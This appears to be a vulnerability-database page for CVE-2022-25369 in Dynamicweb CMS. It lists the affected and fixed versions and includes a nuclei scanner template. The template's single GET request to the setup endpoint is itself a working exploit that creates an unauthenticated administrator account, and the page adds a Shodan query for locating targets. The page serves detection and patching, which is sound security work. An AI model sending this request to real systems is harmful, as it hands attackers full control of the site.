Dynamicweb 9.5.0 - 9.12.7 Unauthenticated Admin User Creation

criticalseverity

9.8CVSS score

39.6%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Dynamicweb contains a vulnerability which allows an unauthenticated attacker to create a new administrative user.

Impact

Unauthenticated attackers can create administrative user accounts through the unprotected Default.aspx endpoint, gaining complete control over the Dynamicweb CMS, its content, and potentially the underlying system.

Fix

Upgrade to one of the fixed versions or higher: Dynamicweb 9.5.9, 9.6.16, 9.7.8, 9.8.11, 9.9, 9.10.18, 9.12.8, or 9.13.0.

How to confirm it

Send: GET {{BaseURL}}/Admin/Access/Setup/Default.aspx?Action=createadministrator&adminusername={{rand_base(6)}}&adminpassword={{rand_base(6)}}&adminemail=test@…
Positive when: contains "\"Success\": true" or "\"Success\":true" AND contains in header "application/json" and "ASP.NET_SessionId" AND status 200

Run it with nuclei: nuclei -id CVE-2022-25369 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-25369

info:
  name: Dynamicweb 9.5.0 - 9.12.7 Unauthenticated Admin User Creation
  author: pdteam
  severity: critical
  description: Dynamicweb contains a vulnerability which allows an unauthenticated attacker to create a new administrative user.
  impact: |
    Unauthenticated attackers can create administrative user accounts through the unprotected Default.aspx endpoint, gaining complete control over the Dynamicweb CMS, its content, and potentially the underlying system.
  remediation: |
    Upgrade to one of the fixed versions or higher: Dynamicweb 9.5.9, 9.6.16, 9.7.8, 9.8.11, 9.9, 9.10.18, 9.12.8, or 9.13.0.
  reference:
    - https://blog.assetnote.io/2022/02/20/logicflaw-dynamicweb-rce/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25369
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-25369
    epss-score: 0.39559
    epss-percentile: 0.98626
    cwe-id: CWE-425
  metadata:
    max-request: 1
    shodan-query: http.component:"Dynamicweb"
  tags: cve2022,cve,dynamicweb,rce,unauth,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Admin/Access/Setup/Default.aspx?Action=createadministrator&adminusername={{rand_base(6)}}&adminpassword={{rand_base(6)}}&[email protected]&adminname=test"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"Success": true'
          - '"Success":true'
        condition: or

      - type: word
        part: header
        words:
          - 'application/json'
          - 'ASP.NET_SessionId'
        condition: and
        case-insensitive: true

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from